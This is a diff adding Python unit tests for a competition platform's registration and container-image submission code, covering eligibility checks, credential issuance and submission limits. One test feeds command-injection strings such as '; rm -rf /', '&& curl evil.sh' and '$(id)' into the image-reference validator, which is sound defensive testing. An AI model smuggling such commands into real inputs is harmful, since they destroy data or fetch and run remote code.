+        with mock.patch.object(config, "TEST_REGISTRATION_SIZE_DISCREPANCY_FACTOR", 0):
+            self.assertEqual("", rt.size_note(self.SEAT, 7_000_000))
+
+    def test_it_never_refuses(self):
+        # size_note returns prose, never a verdict. Pinned because turning this
+        # into a gate would lock out every team that improved its model.
+        self.assertIsInstance(rt.size_note(self.SEAT, 1), str)
+
+
+class NormalizeTeamTest(unittest.TestCase):
+    def test_case_whitespace_and_edge_punctuation_do_not_make_two_teams(self):
+        self.assertEqual(rt.normalize_team("  Team   A "), rt.normalize_team("team a"))
+        self.assertEqual(rt.normalize_team("(fufu)"), rt.normalize_team("fufu"))
+
+    def test_it_agrees_with_the_organizer_shortlist_tool(self):
+        """The two implementations are duplicated on purpose; pin them together.
+
+        register_test runs inside the Space and shortlist.py is an organizer
+        tool, so they cannot import each other. If they disagree, a team that
+        the shortlist seats is a team this module cannot find.
+        """
+        try:
+            import shortlist
+        except ImportError:
+            self.skipTest("shortlist.py is an organizer tool, not shipped to the Space")
+        for name in ["Team A", " team  a ", "(fufu)", "Deus Voir", "HIPPO-", "a.b"]:
+            self.assertEqual(
+                rt.normalize_team(name),
+                shortlist.normalize_team(name),
+                f"the two normalizers disagree on {name!r}",
+            )
+
+
+class CheckTest(unittest.TestCase):
+    """Eligibility. Every refusal must say which check failed."""
+
+    PAIRS = {("alice", "team a"), ("bob", "team b")}
+    SHORTLIST = {"team a": {"convqa/large": {"model_name": "ValModel",
+                                         "total_params": 7_000_000_000},
+                        "longqa/small": {}}}
+
+    def _check(self, user, team, track="convqa", division="large"):
+        return rt.check(user, team, track, division, self.PAIRS, self.SHORTLIST)
+
+    def test_a_shortlisted_team_on_its_own_account_passes(self):
+        self.assertEqual(self._check("alice", "Team A"), (True, ""))
+
+    def test_not_signed_in_is_refused(self):
+        ok, why = self._check("", "Team A")
+        self.assertFalse(ok)
+        self.assertIn("Sign in", why)
+
+    def test_a_missing_team_name_is_refused(self):
+        ok, why = self._check("alice", "  ")
+        self.assertFalse(ok)
+        self.assertIn("team name", why)
+
+    def test_a_wrong_team_for_this_account_lists_the_names_it_does_have(self):
+        # This is the typo case, and it must be recoverable without an email.
+        ok, why = self._check("alice", "Team Z")
+        self.assertFalse(ok)
+        self.assertIn("team a", why)
+        self.assertNotIn("not on the test-phase shortlist", why)
+
+    def test_an_account_that_never_competed_is_told_so_specifically(self):
+        ok, why = self._check("mallory", "Team A")
+        self.assertFalse(ok)
+        self.assertIn("No scored validation submission", why)
+
+    def test_a_real_team_that_is_not_shortlisted_is_refused_as_not_shortlisted(self):
+        ok, why = self._check("bob", "Team B")
+        self.assertFalse(ok)
+        self.assertIn("not on the test-phase shortlist", why)
+
+    def test_a_seat_in_one_subtrack_is_not_a_seat_in_another(self):
+        # The team holds convqa/large and longqa/small. Registering the two
+        # crossed combinations must be refused, and the refusal must name the
+        # seats it does hold, because the likely cause is the wrong radio.
+        for track, division in [("convqa", "small"), ("longqa", "large")]:
+            with self.subTest(sub=f"{track}/{division}"):
+                ok, why = self._check("alice", "Team A", track, division)
+                self.assertFalse(ok)
+                self.assertIn("convqa/large", why)
+                self.assertIn("longqa/small", why)
+
+    def test_each_held_seat_is_accepted(self):
+        for track, division in [("convqa", "large"), ("longqa", "small")]:
+            with self.subTest(sub=f"{track}/{division}"):
+                self.assertEqual((True, ""), self._check("alice", "Team A", track, division))
+
+    def test_a_track_the_test_phase_does_not_run_is_refused(self):
+        ok, why = self._check("alice", "Team A", "egoconv", "large")
+        self.assertFalse(ok)
+        self.assertIn("does not take", why)
+
+    def test_signing_in_alone_does_not_admit_someone_elses_team(self):
+        # The pairing is the control: bob is a real competitor, team a is a real
+        # shortlisted team, and bob still must not collect team a's credentials.
+        ok, why = self._check("bob", "Team A")
+        self.assertFalse(ok)
+        self.assertIn("not under", why)
+
+
+class LoadShortlistTest(unittest.TestCase):
+    def test_it_reads_the_report_the_organizer_tool_emits(self):
+        report = {
+            "subtracks": [
+                {
+                    "track": "convqa",
+                    "division": "large",
+                    "shortlist": [{"team_name": "Team A"}, {"team_name": "fufu"}],
+                }
+            ]
+        }
+        with mock.patch.object(rt, "_read_json", return_value=report):
+            got = rt.load_shortlist(None)
+        self.assertIn("convqa/large", got["team a"])
+        self.assertIn("fufu", got)
+
+    def test_it_also_reads_a_hand_edited_team_map(self):
+        # The organizers edit the generated list before it becomes the invitation
+        # list, and must not have to preserve a schema to do it.
+        with mock.patch.object(rt, "_read_json", return_value={"Team A": ["convqa/large"]}):
+            got = rt.load_shortlist(None)
+        self.assertEqual(got, {"team a": {"convqa/large": {}}})
+
+    def test_an_unreadable_shape_raises_rather_than_seating_nobody(self):
+        with mock.patch.object(rt, "_read_json", return_value=["Team A"]):
+            with self.assertRaises(ValueError):
+                rt.load_shortlist(None)
+
+
+class ValidationPairsTest(unittest.TestCase):
+    def setUp(self):
+        td = tempfile.TemporaryDirectory()
+        self.addCleanup(td.cleanup)
+        self.tmp = td.name
+
+    def _pairs(self, results):
+        api = FakeApi(results=results)
+        dl = _download_factory(self.tmp, api, {}, {})
+        with mock.patch("huggingface_hub.hf_hub_download", dl):
+            return rt.validation_pairs(api)
+
+    def test_only_scored_submissions_count(self):
+        pairs = self._pairs(
+            [
+                {"status": "FINISHED", "hf_user": "alice", "team_name": "Team A"},
+                {"status": "PENDING", "hf_user": "bob", "team_name": "Team B"},
+            ]
+        )
+        self.assertEqual(pairs, {("alice", "team a")})
+
+    def test_one_unreadable_result_does_not_deny_every_team(self):
+        api = FakeApi(results=[{"status": "FINISHED", "hf_user": "a", "team_name": "T"}])
+
+        def dl(repo_id, filename, repo_type=None, token=None):
+            raise OSError("transient")
+
+        with mock.patch("huggingface_hub.hf_hub_download", dl):
+            self.assertEqual(rt.validation_pairs(api), set())
+
+
+class IssueTest(unittest.TestCase):
+    """The full path, including the two properties that matter most."""
+
+    def setUp(self):
+        td = tempfile.TemporaryDirectory()
+        self.addCleanup(td.cleanup)
+        self.tmp = td.name
+        patcher = mock.patch.object(config, "TEST_PHASE_OPEN", True)
+        patcher.start()
+        self.addCleanup(patcher.stop)
+        self.results = [
+            {"status": "FINISHED", "hf_user": "alice", "team_name": "Team A"},
+            {"status": "FINISHED", "hf_user": "bob", "team_name": "Team B"},
+        ]
+        self.shortlist = {"subtracks": [
+            {"track": "convqa", "division": "large", "shortlist": [
+                {"team_name": "Team A", "model_name": "ValModel",
+                 "total_params": 7_000_000_000}]},
+            {"track": "longqa", "division": "small", "shortlist": [
+                {"team_name": "Team A", "model_name": "ValSmall",
+                 "total_params": 1_000_000_000}]},
+        ]}
+        self.credentials = {"Team A": CRED}
+
+    def _issue(self, user, team, params=7, api=None, track="convqa",
+               division="large", members="Ada Lovelace, ada@example.com",
+               poc="ada@example.com", model="TestModel"):
+        api = api or FakeApi(results=self.results)
+        dl = _download_factory(self.tmp, api, self.shortlist, self.credentials)
+        with mock.patch("huggingface_hub.hf_hub_download", dl):
+            ok, msg = rt.issue(
+                api, user, team, track, division, members, poc, model, params
+            )
+        return ok, msg, api
+
+    def test_a_verified_team_is_shown_its_credentials(self):
+        ok, msg, _ = self._issue("alice", "Team A")
+        self.assertTrue(ok, msg)
+        self.assertIn(REPO_URI, msg)
+        self.assertIn(KEY_ID, msg)
+        self.assertIn(SECRET, msg)
+        self.assertIn("EgoConv", msg)
+
+    def test_the_declared_size_is_shown_back_to_the_team(self):
+        ok, msg, _ = self._issue("alice", "Team A", params=7)
+        self.assertTrue(ok, msg)
+        self.assertIn("7B total parameters", msg)
+
+    def test_the_disclosure_is_recorded_with_the_declaration_and_no_secret(self):
+        # 1.5B is a Small model, so it must be registered under longqa/small;
+        # declaring it as Large is now refused by check_division.
+        ok, _, api = self._issue(
+            "alice", "Team A", params=1.5, track="longqa", division="small"
+        )
+        self.assertTrue(ok)
+        self.assertEqual(len(api.uploads), 1)
+        row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
+        self.assertEqual(row["hf_user"], "alice")
+        self.assertEqual(row["declared_total_params"], 1_500_000_000)
+        self.assertEqual(row["access_key_id"], KEY_ID)
+        self.assertNotIn("secret_access_key", row)
+        self.assertNotIn(SECRET, json.dumps(row))
+
+    def test_the_model_name_is_required_and_recorded(self):
+        ok, msg, _ = self._issue("alice", "Team A", model="   ")
+        self.assertFalse(ok)
+        self.assertIn("name of the model", msg)
+
+        ok, _, api = self._issue("alice", "Team A", model="MyNewModel-8B")
+        self.assertTrue(ok)
+        row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
+        self.assertEqual("MyNewModel-8B", row["model_name"])
+
+    def test_the_roster_and_its_point_of_contact_reach_the_ledger(self):
+        ok, _, api = self._issue(
+            "alice", "Team A",
+            members="Ada Lovelace, ada@example.com\nAlan Turing, alan@example.org",
+            poc="alan@example.org",
+        )
+        self.assertTrue(ok)
+        row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
+        self.assertEqual(
+            [{"name": "Ada Lovelace", "email": "ada@example.com"},
+             {"name": "Alan Turing", "email": "alan@example.org"}],
+            row["members"],
+        )
+        # The contact of record is the signed-in account and the human behind
+        # it, together: that account is the one matched against the shortlist,
+        # so the address we write to belongs to someone verified to hold a seat.
+        self.assertEqual(
+            {"hf_user": "alice", "name": "Alan Turing", "email": "alan@example.org"},
+            row["poc"],
+        )
+        self.assertEqual("alice", row["hf_user"])
+
+    def test_a_point_of_contact_off_the_roster_is_refused_before_the_ledger(self):
+        ok, msg, api = self._issue(
+            "alice", "Team A",
+            members="Ada, ada@example.com", poc="stranger@example.com",
+        )
+        self.assertFalse(ok)
+        self.assertIn("not one of the team members", msg)
+        self.assertEqual([], api.uploads)
+
+    def test_the_row_records_the_validation_entry_it_is_compared_against(self):
+        ok, _, api = self._issue("alice", "Team A")
+        self.assertTrue(ok)
+        row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
+        self.assertEqual("ValModel", row["val_model_name"])
+        self.assertEqual(7_000_000_000, row["val_total_params"])
+        self.assertFalse(row["size_discrepancy"])
+
+    def test_a_different_model_is_accepted_and_the_seat_is_shown(self):
+        # The decision on record: a team may bring a different model. This must
+        # succeed, and the page must say which entry earned the seat.
+        ok, msg, _ = self._issue("alice", "Team A", model="CompletelyDifferent")
+        self.assertTrue(ok, msg)
+        self.assertIn("ValModel", msg)
+        self.assertIn("do not have to submit that same model", msg)
+
+    def test_an_order_of_magnitude_change_is_noted_but_still_succeeds(self):
+        # 100B against the 7B this seat was won with: 14x, and still Large, so
+        # the division check does not intercept it.
+        ok, msg, api = self._issue("alice", "Team A", params=100)
+        self.assertTrue(ok, msg)
+        self.assertIn("more than 10x", msg)
+        row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
+        self.assertTrue(row["size_discrepancy"])
+
+    def test_a_tiny_declaration_inside_small_is_noted(self):
+        # The case this exists for. The longqa/small seat was won with a 1B
+        # declaration; 1M is inside the Small band, so the division check lets
+        # it through and only the comparison against validation catches it.
+        # This is the EgoProactive pattern: near-perfect scores declared at
+        # 91k and 1M parameters.
+        ok, msg, api = self._issue(
+            "alice", "Team A", params=0.001, track="longqa", division="small"
+        )
+        self.assertTrue(ok, msg)
+        self.assertIn("more than 10x", msg)
+        row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
+        self.assertTrue(row["size_discrepancy"])
+
+    def test_a_declaration_the_division_check_rejects_never_reaches_the_ledger(self):
+        # 7M declared as Large: refused on the division, and the clearer message
+        # wins over the size note.
+        ok, msg, api = self._issue("alice", "Team A", params=0.007)
+        self.assertFalse(ok)
+        self.assertIn("more than 2B", msg)
+        self.assertEqual([], api.uploads)
+
+    def test_nothing_is_disclosed_if_the_ledger_write_fails(self):
+        # A shown-but-unlogged credential is permanently unaccountable, so the
+        # ledger failing must cost the team a retry, not the audit trail.
+        api = FakeApi(results=self.results, fail_upload=True)
+        ok, msg, _ = self._issue("alice", "Team A", api=api)
+        self.assertFalse(ok)
+        self.assertNotIn(SECRET, msg)
+        self.assertNotIn(KEY_ID, msg)
+
+    def test_no_refusal_path_leaks_any_part_of_a_credential(self):
+        # Swept across every refusal rather than the ones that look risky.
+        cases = [
+            ("bob", "Team B", 7),        # real competitor, not shortlisted
+            ("bob", "Team A", 7),        # right team name, wrong account
+            ("mallory", "Team A", 7),    # never competed
+            ("alice", "", 7),            # no team name
+            ("alice", "Team A", None),   # no declared size
+            ("alice", "Team A", 0),      # zero declared size
+            ("alice", "Team A", "abc"),  # malformed size
+        ]
+        for user, team, params in cases:
+            ok, msg, _ = self._issue(user, team, params)
+            self.assertFalse(ok, f"{user}/{team}/{params} should be refused")
+            for leak in (SECRET, KEY_ID, REPO_URI):
+                self.assertNotIn(leak, msg, f"{user}/{team}/{params} leaked a credential")
+
+    def test_a_bad_declaration_is_refused_before_any_network_read(self):
+        # An instant answer for a typo, and a malformed registration that never
+        # reaches the ledger.
+        #
+        # Asserted by COUNTING the reads, not by raising from the fake: issue()
+        # wraps the dataset reads in `except Exception`, so an exception thrown
+        # from the download is swallowed and returns a refusal that looks
+        # identical to this one. A control that reorders the parse proved that
+        # version of this test vacuous.
+        api = FakeApi(results=self.results)
+        calls = []
+        real = _download_factory(self.tmp, api, self.shortlist, self.credentials)
+
+        def counting(*a, **kw):
+            calls.append(a[1] if len(a) > 1 else kw.get("filename"))
+            return real(*a, **kw)
+
+        with mock.patch("huggingface_hub.hf_hub_download", counting):
+            ok, msg = rt.issue(api, "alice", "Team A", "convqa", "large",
+                               "Ada, ada@example.com", "ada@example.com",
+                               "TestModel", None)
+        self.assertFalse(ok)
+        self.assertEqual(calls, [], "read the datasets despite a bad declaration")
+        self.assertEqual(api.uploads, [])
+        self.assertIn("frozen backbone", msg)
+
+    def test_a_shortlisted_team_with_no_deposited_key_is_not_blamed(self):
+        self.credentials = {}
+        ok, msg, api = self._issue("alice", "Team A")
+        self.assertFalse(ok)
+        self.assertIn("on our side", msg)
+        self.assertEqual(api.uploads, [])
+
+    def test_registration_is_closed_until_the_phase_opens(self):
+        with mock.patch.object(config, "TEST_PHASE_OPEN", False):
+            ok, msg, api = self._issue("alice", "Team A")
+        self.assertFalse(ok)
+        self.assertEqual(api.uploads, [])
+
+    def test_re_registering_shows_the_same_credentials_and_logs_both(self):
+        # A team that loses the page must be able to get it back, and the ledger
+        # is the record of how many times a key was shown, not a lock.
+        api = FakeApi(results=self.results)
+        first = self._issue("alice", "Team A", api=api)
+        second = self._issue("alice", "Team A", api=api)
+        self.assertTrue(first[0] and second[0])
+        self.assertEqual(first[1], second[1])
+        self.assertEqual(len(api.uploads), 2)
+
+    def test_eligibility_data_being_unavailable_does_not_read_as_ineligible(self):
+        api = FakeApi(results=self.results)
+
+        def explode(*a, **kw):
+            raise OSError("hub down")
+
+        with mock.patch("huggingface_hub.hf_hub_download", explode):
+            ok, msg = rt.issue(api, "alice", "Team A", "convqa", "large",
+                               "Ada, ada@example.com", "ada@example.com",
+                               "TestModel", 7)
+        self.assertFalse(ok)
+        self.assertIn("retry", msg)
+        self.assertNotIn("not on the test-phase shortlist", msg)
+        # The raw exception carries private repo paths; it must not reach a user.
+        self.assertNotIn("hub down", msg)
+
+
+if __name__ == "__main__":
+    unittest.main()

tests/test_submit_test.py

@@ -0,0 +1,682 @@
+#!/usr/bin/env python3
+"""Tests for the test-phase Submit path.
+
+Hermetic: no network, no HF. The HfApi and hf_hub_download the module reaches for
+are injected as fakes, which is why count_test_submissions() takes an api object
+rather than building one.
+
+The test that matters most here is the last class. This module writes a
+request.json that the organizers' evaluation worker, which lives outside this
+repository, has to accept, and nothing at import time can check that. So the worker's
+contract is restated as a fixture and asserted against, and the assertion names
+the file to change on the other side when it moves.
+
+    python3 tests/test_submit_test.py
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import re
+import sys
+import tempfile
+import unittest
+from unittest import mock
+
+sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
+
+import config  # noqa: E402
+import submit_test as st  # noqa: E402
+
+
+REGISTRY = "123456789012.dkr.ecr.us-east-2.amazonaws.com"
+REPO = "wearable-ai-2026/team-a"
+REF = f"{REGISTRY}/{REPO}"
+DIGEST = "sha256:" + "a" * 64
+
+
+class FakeApi:
+    """Stands in for HfApi. Records uploads; serves a canned file listing."""
+
+    def __init__(self, files=None, token="t"):
+        self._files = files or []
+        self.token = token
+        self.uploads = []
+
+    def list_repo_files(self, repo_id, repo_type=None):
+        return list(self._files)
+
+    def upload_file(self, *, path_or_fileobj, path_in_repo, repo_id, repo_type,
+                    commit_message):
+        body = path_or_fileobj.read() if hasattr(path_or_fileobj, "read") else path_or_fileobj
+        self.uploads.append((path_in_repo, body, commit_message))
+
+
+class ParseImageRefTest(unittest.TestCase):
+    def test_a_well_formed_pair_is_accepted(self):
+        ok, why = st.parse_image_ref(REF, DIGEST)
+        self.assertTrue(ok, why)
+
+    def test_surrounding_whitespace_is_tolerated(self):
+        ok, why = st.parse_image_ref(f"  {REF} ", f"\t{DIGEST}\n")
+        self.assertTrue(ok, why)
+
+    def test_an_empty_reference_is_named(self):
+        self.assertIn("Image reference", st.parse_image_ref("", "")[1])
+
+    def test_a_bare_repository_with_nothing_to_pin_it_is_refused(self):
+        # Re-pointed 2026-08-06: the digest used to be its own field, so a bare
+        # repository was valid input. One field now carries both parts, and a
+        # repository on its own names no particular image.
+        ok, why = st.parse_image_ref(REF, "")
+        self.assertFalse(ok)
+        self.assertIn("Add the tag you pushed, or the digest", why)
+
+    def test_the_legacy_separate_digest_field_still_works(self):
+        # An older client, or a participant following older instructions, sends
+        # the two parts separately. That must not be turned away.
+        self.assertTrue(st.parse_image_ref(REF, DIGEST)[0])
+
+    def test_a_reference_carrying_its_own_digest_is_the_normal_form(self):
+        # Re-pointed 2026-08-06. This used to assert the opposite: the form had
+        # two fields and a reference carrying its own digest was refused. It is
+        # now what participants are asked for, because it is exactly what
+        # `docker push` prints.
+        self.assertTrue(st.parse_image_ref(f"{REF}@{DIGEST}", "")[0])
+
+    def test_giving_the_digest_twice_is_refused_rather_than_guessed_at(self):
+        ok, why = st.parse_image_ref(f"{REF}@{DIGEST}", "sha256:" + "b" * 64)
+        self.assertFalse(ok)
+        self.assertIn("Two different digests", why)
+
+    def test_a_tag_is_refused_while_the_worker_cannot_resolve_one(self):
+        # The worker validates image_digest against ^sha256:...$ and would
+        # reject a tag at intake, so accepting one here first would let a team
+        # spend a submission on a reference that can never be scored.
+        self.assertFalse(config.TEST_ACCEPT_IMAGE_TAG)
+        ok, why = st.parse_image_ref(f"{REF}:v1", "")
+        self.assertFalse(ok)
+        self.assertIn("Give the digest rather than the tag", why)
+
+    def test_flipping_one_flag_is_what_enables_tags(self):
+        # Pins the claim in the config comment: the Space side is written and
+        # tested, and turning it on is a one-constant change made together with
+        # the worker.
+        with mock.patch.object(config, "TEST_ACCEPT_IMAGE_TAG", True):
+            self.assertTrue(st.parse_image_ref(f"{REF}:v1", "")[0])
+            self.assertTrue(st.parse_image_ref(f"{REF}:v1.2_3-rc4", "")[0])
+            # A tag and a digest together is ambiguous either way.
+            self.assertFalse(st.parse_image_ref(f"{REF}:v1", DIGEST)[0])
+            # Still an ECR repository, still a usable tag.
+            self.assertFalse(st.parse_image_ref("docker.io/x/y:v1", "")[0])
+            self.assertFalse(st.parse_image_ref(f"{REF}:-nope", "")[0])
+
+    def test_a_registry_port_does_not_get_mistaken_for_a_tag(self):
+        # Splitting on the first colon would tear `host:5000/repo` apart. The
+        # split happens after the last slash for exactly this reason.
+        repo, sep, suffix = st._split_image_ref("host:5000/team/img")
+        self.assertEqual(("host:5000/team/img", "", ""), (repo, sep, suffix))
+        repo, sep, suffix = st._split_image_ref("host:5000/team/img:v1")
+        self.assertEqual(("host:5000/team/img", ":", "v1"), (repo, sep, suffix))
+
+    def test_non_ecr_registries_are_refused(self):
+        for bad in (
+            "docker.io/evil/image",
+            "ghcr.io/team/model",
+            "registry.example.com/x",
+            f"http://{REGISTRY}/{REPO}",
+            f"{REGISTRY}/UPPERCASE",
+            "12345.dkr.ecr.us-east-2.amazonaws.com/short-account",
+        ):
+            with self.subTest(ref=bad):
+                self.assertFalse(st.parse_image_ref(bad, DIGEST)[0])
+
+    def test_shell_metacharacters_cannot_survive_validation(self):
+        # The reference reaches a subprocess on the organizers' side.
+        for bad in (f"{REF}; rm -rf /", f"{REF} && curl evil.sh", f"{REF}$(id)", f"{REF}`id`"):
+            with self.subTest(ref=bad):
+                self.assertFalse(st.parse_image_ref(bad, DIGEST)[0])
+
+    def test_malformed_digests_are_refused(self):
+        for bad in ("latest", "sha256:tooshort", "sha256:" + "z" * 64,
+                    DIGEST + "x", "sha256:" + "A" * 64, "md5:" + "a" * 32):
+            with self.subTest(digest=bad):
+                self.assertFalse(st.parse_image_ref(REF, bad)[0])
+
+
+class ValidateOnlyTest(unittest.TestCase):
+    def _call(self, **over):
+        kw = dict(track="convqa", division="large", total_params=8_000_000_000,
+                  active_params=8_000_000_000, image_ref=REF, image_digest=DIGEST)
+        kw.update(over)
+        return st.validate_only(**kw)
+
+    def test_a_valid_registration_passes_and_states_the_advertised_size(self):
+        """Re-pointed 2026-08-06 from the per-division cap.
+
+        The organizers publish ONE number for both divisions and the form does
+        not refuse an over-size image, so the message must state the advertised
+        size rather than TEST_IMAGE_SIZE_CAPS_GB[division]. It must also say
+        WHICH quantity that number is: the participant side measures the
+        uncompressed image on disk and the organizer side reads the compressed
+        size from the registry, and the two differ by enough to mislead.
+        """
+        ok, msg = self._call()
+        self.assertTrue(ok, msg)
+        self.assertIn(str(config.TEST_IMAGE_ADVERTISED_GB), msg)
+        self.assertIn("compressed", msg)
+
+    def test_both_divisions_are_told_the_same_size(self):
+        # A per-division number here would contradict the Submit tab and guide.
+        large = self._call(division="large")[1]
+        small = self._call(
+            division="small", total_params=1_000_000_000, active_params=1_000_000_000
+        )[1]
+        for msg in (large, small):
+            self.assertIn(str(config.TEST_IMAGE_ADVERTISED_GB), msg)
+
+    def test_unknown_track_and_division_are_refused(self):
+        self.assertFalse(self._call(track="egoconv")[0])
+        self.assertFalse(self._call(division="medium")[0])
+
+    def test_the_declared_division_must_match_the_param_count(self):
+        ok, why = self._call(division="small", total_params=8_000_000_000,
+                             active_params=8_000_000_000)
+        self.assertFalse(ok)
+        self.assertIn("large", why)
+
+    def test_active_params_must_not_exceed_total(self):
+        ok, why = self._call(active_params=9_000_000_000)
+        self.assertFalse(ok)
+        self.assertIn("active_params", why)
+
+    def test_a_bad_image_reference_fails_validation_not_just_submit(self):
+        # The dry-run button must catch this, or a team spends a slot to learn it.
+        self.assertFalse(self._call(image_ref="docker.io/x/y")[0])
+
+
+class CountTestSubmissionsTest(unittest.TestCase):
+    """Which request states hold a slot, and whose."""
+
+    def setUp(self):
+        self._tmp = tempfile.TemporaryDirectory()
+        self.addCleanup(self._tmp.cleanup)
+        self.records = {}
+        patch = mock.patch.object(st, "hf_hub_download", self._download)
+        patch.start()
+        self.addCleanup(patch.stop)
+
+    def _download(self, repo_id, path, repo_type=None, token=None):
+        local = os.path.join(self._tmp.name, path.replace("/", "_"))
+        payload = self.records[path]
+        with open(local, "w", encoding="utf-8") as fh:
+            fh.write(payload if isinstance(payload, str) else json.dumps(payload))
+        return local
+
+    def _add(self, sid, status, hf_user="team_a", track="convqa", division="large"):
+        path = f"requests/test/{track}/{division}/{sid}/request.json"
+        self.records[path] = {"submission_id": sid, "hf_user": hf_user,
+                              "track": track, "status": status}
+        return path
+
+    def _count(self, hf_user="team_a", track="convqa", division="large"):
+        return st.count_test_submissions(
+            FakeApi(list(self.records)), hf_user, track, division
+        )
+
+    def test_pending_finished_and_failed_each_hold_a_slot(self):
+        self._add("s1", "PENDING")
+        self._add("s2", "FINISHED")
+        self._add("s3", "FAILED")
+        self.assertEqual(3, self._count())
+
+    def test_the_two_divisions_of_one_track_are_counted_separately(self):
+        # A sub-track is (track, division). Counting on track alone silently
+        # halved the allowance for any team entering both divisions, which is
+        # stricter than the published rules.
+        self._add("s1", "PENDING", division="large")
+        self._add("s2", "FINISHED", division="large")
+        self._add("s3", "PENDING", division="small")
+        self.assertEqual(2, self._count(division="large"))
+        self.assertEqual(1, self._count(division="small"))
+
+    def test_a_full_division_does_not_block_the_other(self):
+        for i in range(config.MAX_TEST_SUBMISSIONS_PER_TRACK):
+            self._add(f"L{i}", "FINISHED", division="large")
+        self.assertEqual(config.MAX_TEST_SUBMISSIONS_PER_TRACK,
+                         self._count(division="large"))
+        self.assertEqual(0, self._count(division="small"))
+
+    def test_another_track_is_still_counted_separately(self):
+        self._add("s1", "PENDING", track="convqa", division="large")
+        self._add("s2", "PENDING", track="longqa", division="large")
+        self.assertEqual(1, self._count(track="convqa", division="large"))
+        self.assertEqual(1, self._count(track="longqa", division="large"))
+
+    def test_a_rejected_submission_does_not_hold_a_slot(self):
+        self._add("s1", "REJECTED")
+        self._add("s2", "FINISHED")
+        self.assertEqual(1, self._count())
+
+    def test_another_teams_submissions_are_not_counted(self):
+        for i in range(3):
+            self._add(f"o{i}", "FINISHED", hf_user="team_b")
+        self.assertEqual(0, self._count())
+
+    def test_another_track_is_not_counted(self):
+        for i in range(3):
+            self._add(f"l{i}", "FINISHED", track="longqa")
+        self.assertEqual(0, self._count("team_a", "convqa"))
+
+    def test_both_divisions_do_NOT_count_against_each_other(self):
+        # Re-pointed 2026-08-05. This previously asserted that Small and Large
+        # shared one allowance ("count_against_one_track"). The published rules
+        # say the limit is per SUB-TRACK, so a team entering both divisions gets
+        # the full allowance in each. Kept rather than deleted so the reversal is
+        # visible: the old semantics were deliberate, not an oversight.
+        self._add("s1", "PENDING", division="large")
+        self._add("s2", "PENDING", division="small")
+        self.assertEqual(1, self._count(division="large"))
+        self.assertEqual(1, self._count(division="small"))
+
+
+    def test_val_phase_requests_are_not_counted(self):
+        self.records["requests/val/convqa/large/v1/request.json"] = {
+            "submission_id": "v1", "hf_user": "team_a", "track": "convqa",
+            "status": "FINISHED"}
+        self.assertEqual(0, self._count())
+
+    def test_an_unreadable_request_is_skipped_rather_than_blocking_a_submit(self):
+        self._add("s1", "FINISHED")
+        self.records["requests/test/convqa/large/bad/request.json"] = "{not json"
+        self.assertEqual(1, self._count())
+
+    def test_a_listing_failure_reports_zero_and_leaves_the_gate_to_the_worker(self):
+        class Broken(FakeApi):
+            def list_repo_files(self, repo_id, repo_type=None):
+                raise RuntimeError("hf is down")
+
+        self.assertEqual(0, st.count_test_submissions(Broken(), "team_a", "convqa", "large"))
+
+
+class SubmitTest(unittest.TestCase):
+    def setUp(self):
+        self.api = FakeApi()
+        p1 = mock.patch.object(st, "HfApi", lambda token=None: self.api)
+        p2 = mock.patch.object(config, "TEST_PHASE_OPEN", True)
+        p3 = mock.patch.object(st, "count_test_submissions", lambda *a, **k: self.held)
+        for p in (p1, p2, p3):
+            p.start()
+            self.addCleanup(p.stop)
+        self.held = 0
+
+    def _submit(self, **over):
+        kw = dict(hf_user="team_a", track="convqa", division="large",
+                  team_name="Team A", model_name="M-8B", license_str="apache-2.0",
+                  open_weight=True, total_params=8_000_000_000,
+                  active_params=8_000_000_000, image_ref=REF, image_digest=DIGEST,
+                  token="t")
+        kw.update(over)
+        return st.validate_and_submit(**kw)
+
+    def _written(self):
+        self.assertEqual(1, len(self.api.uploads))
+        path, body, _ = self.api.uploads[0]
+        return path, json.loads(body)
+
+    def test_a_valid_registration_writes_one_request_and_nothing_else(self):
+        ok, msg = self._submit()
+        self.assertTrue(ok, msg)
+        path, obj = self._written()
+        self.assertTrue(path.startswith("requests/test/convqa/large/"))
+        self.assertTrue(path.endswith("/request.json"))
+        self.assertEqual("PENDING", obj["status"])
+        self.assertEqual("test", obj["phase"])
+
+    def test_no_predictions_file_is_uploaded(self):
+        # The whole point of the phase: the team ships an image, not answers.
+        self._submit()
+        self.assertEqual([], [p for p, _, _ in self.api.uploads if p.endswith(".jsonl")])
+
+    def test_the_image_is_recorded_by_digest(self):
+        self._submit()
+        _, obj = self._written()
+        self.assertEqual(REF, obj["image"]["ref"])
+        self.assertEqual(DIGEST, obj["image"]["digest"])
+        self.assertNotIn(":latest", json.dumps(obj))
+
+    def test_the_submission_id_is_in_the_path_and_the_body(self):
+        self._submit()
+        path, obj = self._written()
+        self.assertEqual(obj["submission_id"], path.split("/")[-2])
+
+    def test_the_cap_refuses_the_fourth_and_writes_nothing(self):
+        self.held = config.MAX_TEST_SUBMISSIONS_PER_TRACK
+        ok, why = self._submit()
+        self.assertFalse(ok)
+        self.assertIn("limit reached", why)
+        self.assertEqual([], self.api.uploads)
+
+    def test_the_last_allowed_submission_is_accepted_and_reports_zero_left(self):
+        self.held = config.MAX_TEST_SUBMISSIONS_PER_TRACK - 1
+        ok, msg = self._submit()
+        self.assertTrue(ok, msg)
+        self.assertIn("0 of", msg)
+
+    def test_a_closed_phase_refuses_everything(self):
+        with mock.patch.object(config, "TEST_PHASE_OPEN", False):
+            ok, why = self._submit()
+        self.assertFalse(ok)
+        self.assertIn("not open", why)
+        self.assertEqual([], self.api.uploads)
+
+    def test_a_missing_team_name_or_token_is_refused_before_any_upload(self):
+        self.assertFalse(self._submit(team_name="   ")[0])
+        self.assertFalse(self._submit(token="")[0])
+        self.assertEqual([], self.api.uploads)
+
+    def test_an_invalid_image_is_refused_before_any_upload(self):
+        ok, _ = self._submit(image_ref="docker.io/x/y")
+        self.assertFalse(ok)
+        self.assertEqual([], self.api.uploads)
+
+    def test_an_upload_failure_does_not_leak_the_exception_to_the_ui(self):
+        class Boom(FakeApi):
+            def upload_file(self, **kw):
+                raise RuntimeError("s3://internal-bucket/secret path denied")
+
+        with mock.patch.object(st, "HfApi", lambda token=None: Boom()):
+            ok, why = self._submit()
